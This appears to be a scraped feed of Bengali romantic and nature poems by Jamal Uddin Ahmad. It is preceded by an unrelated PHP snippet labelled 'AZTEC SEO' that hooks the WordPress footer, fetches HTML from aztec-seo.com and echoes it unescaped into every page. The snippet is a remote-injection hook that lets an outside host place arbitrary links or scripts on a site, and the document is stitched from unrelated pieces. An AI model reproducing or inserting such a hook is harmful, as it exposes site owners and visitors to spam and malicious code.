/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
বেহালাকে কাঁদাই আমি, কাঁদি আমি তার সুরে
সে আমার বিজন সাথী, সকল ব্যথা কই তারে।
কলম নিয়ে কান্না আঁকি জলস্রোতের মতো
নদী যেমন কাঁদতে থাকে বয়ে অবিরত।
ঝড়ের তোড়ে যেমনি কাঁদে তৃণ-তরু-পাখি
তেমনি কাঁদে আমার ভেতর তোমার ঝড়ো আঁখি।
তোমায় যত কাঁদাই প্রিয়া, অধিক কাঁদি আমি
কেউ রাখে না আমার খবর, জানে অন্তর্যামী।
শ্রাবণ রাতের কান্না শুনে কাঁদাই আপন হিয়া
নিখিল নিসর্গে কাঁদে বিশ্ব মরমিয়া।
– জামাল উদ্দিন আহমাদ
]]>
যদিও সেদিন রিক্ত ছিলাম, মনটা ছিল ধনী
আমি রূপের পাগল ছিলাম, তুমি ছিলে খনি।
হাওয়ায় যখন উড়তো তোমার কৃষ্ণবরণ চুল
ওষ্ঠ-অধর জুড়ে তখন ফুটতো জবা ফুল।
মুক্তোঝরা মধুর হাসি হাসতে যখন তুমি
হিরণ্ময়ী রাজ্যজুড়ে জ্বলতো লাবনি।
তোমার চোখের নীলসাগরে কালো যুগল তারা
তারই পানে ব্যাকুল হয়ে আমি আপনহারা।
তুমি ছিলে রূপের রত্ন, হীরের চেয়ে দামী
তোমার মাঝে আজও খুঁজি সেই হারানো আমি।
– জামাল উদ্দিন আহমাদ
]]>শাড়ি দিলাম গয়না দিলাম
দিলাম বাসের ঘর
তবু আমায় খুঁজলে না তো
আপন কিবা পর।
কে বা দিল তোমার গাঙে
বৈশাখী ঢল
কার ছোঁয়ায় তোমার বুকে
অঘ্রানী ফসল।
– জামাল উদ্দিন আহমাদ
]]>অমৃতা! তোমাকে খুঁজে পাইনি
তবু দেখি- তুমি আছ।
বাতাসে তোমার গন্ধ পাই।
কত এ অধীর প্রতীক্ষা!
আর কত…?
আমার সাগরে প্রত্যহ তুমুল জোয়ার হয়।
সে প্লাবনী জলের তোড়
কোনো দিন পলি বইবে না-
তোমার অবগাহনী ঢেউ ছাড়া।
আমার স্বর্গীয় বাগানে অমৃতের বৃষ্টি হয়
তবু কোনো দিন ফুল ফুটবে না-
তোমার উষ্ণ পরশ ছাড়া।
– জামাল উদ্দিন আহমাদ
]]>বর্ষায় লাইটপোস্টের মতো
নীরব রোদনে ভিজছে তোমার মুখ
আমি সে মুখের হাসির জন্যে যুদ্ধ করি।
বৃষ্টিস্নাত শাপলার অনাবিল হাসির মাঝে
তোমার অশ্রুভেজা মুখ লুকিয়ে আছে
আমি সে মুখের খুশির জন্যে
নিয়তির কাছে প্রার্থনা করি।
– জামাল উদ্দিন আহমাদ
]]>মুছে ফেল চোখের জল
আর কেঁদো না তুমি!
জীবনের সব দুঃখ-যাতনা
যদি নয়নের জল দিয়ে
মুছে ফেলা যেত
তবে আমিও কাঁদতাম।
সূর্যকে আড়াল করে দিয়ে
যেমনি কাঁদে শ্রাবণ
তেমনি কেঁদেছি আমি।
আমার সে নিভৃত কান্না
আমাকে তন্দ্রা দিয়েছে
দেয়নি কভু-
সুখ-সমৃদ্ধির নতুন আলো।
মুছে ফেল চোখের জল
আর কেঁদো না তুমি।
– জামাল উদ্দিন আহমাদ
]]>কেয়া! কোন বনে ফুটিয়াছ তুমি
খুঁজে আমি পাইনি, গন্ধে তবু ছুটি-
জানি এ সুবাস অতি দূরে নয়।
আষাঢ়ে কদম হয়ে ফুটিয়াছি আমি
তোমার কথা শুনেছি-
জানি তুমিও বর্ষার ফুল।
– জামাল উদ্দিন আহমাদ
]]>‘আপনাকে ভালোবাসি…’
স্পষ্ট মৃদুস্বরে বলেছ সেদিন
আমার প্রেম হয়েছিল সার্থক।
সলাজ নয়ন তুলে দেখলাম
অনুরাগে সিক্ত তোমার মুখ।
সেকথা ভাবলে আজও
রোমাঞ্চে ভরে ওঠে বুক।
তবু বলতে পারিনি কখনো-
আমিও তোমায় ভালোবাসি।
এ অনাকাঙ্ক্ষিত অব্যক্ততা,
মর্মে তুমি ব্যথা পেয়ো না।
আমার এ প্রেম শুধু
নৈঃশব্দের বাতাসে ভাসুক।
– জামাল উদ্দিন আহমাদ
]]>প্রাণে-প্রাণে মিলন, নিবিড় উচ্ছ্বাসে-
যদি আশ্বাস দিতে পারতাম
তবে আমি তোমাকে ছুঁ’তাম।
লোকচক্ষুর অন্তরালে তোমার অটল বিশ্বাস-
যদি ঠুনকো মৃৎপাত্রের মতো ভাঙতে পারতাম
তবে আমি তোমাকে ছুঁ’তাম।
দিবামণির শুভ্র আলোয় রৌদ্রস্নাত ভালোবাসা-
যদি কালমেঘের পর্দা টেনে কলুষিত করতে পারতাম
তবে আমি তোমাকে ছুঁ’তাম।
তোমার-আমার মাঝে স্বচ্ছ কাঁচের দেয়াল-
যদি বার্লিন প্রাচীরের মতো উপড়ে ফেলতে পারতাম
তবে আমি তোমাকে ছুঁ’তাম।
– জামাল উদ্দিন আহমাদ
]]>দু’টি হাত। কত আপন!
একে অপরকে বোতাম লাগিয়ে দেয়,
তারপর দু’হাত মিলে একে একে
গেঁথে দেয় জামার সবগুলো বোতাম।
কালের সূচনা হতে এমনি করে আজও
মানুষ ও প্রকৃতির সমুদয় বস্তু
একে অপরের পরিপূরক হয়ে
বিশ্ব-প্রকৃতিতে বিরাজমান।
– জামাল উদ্দিন আহমাদ
]]>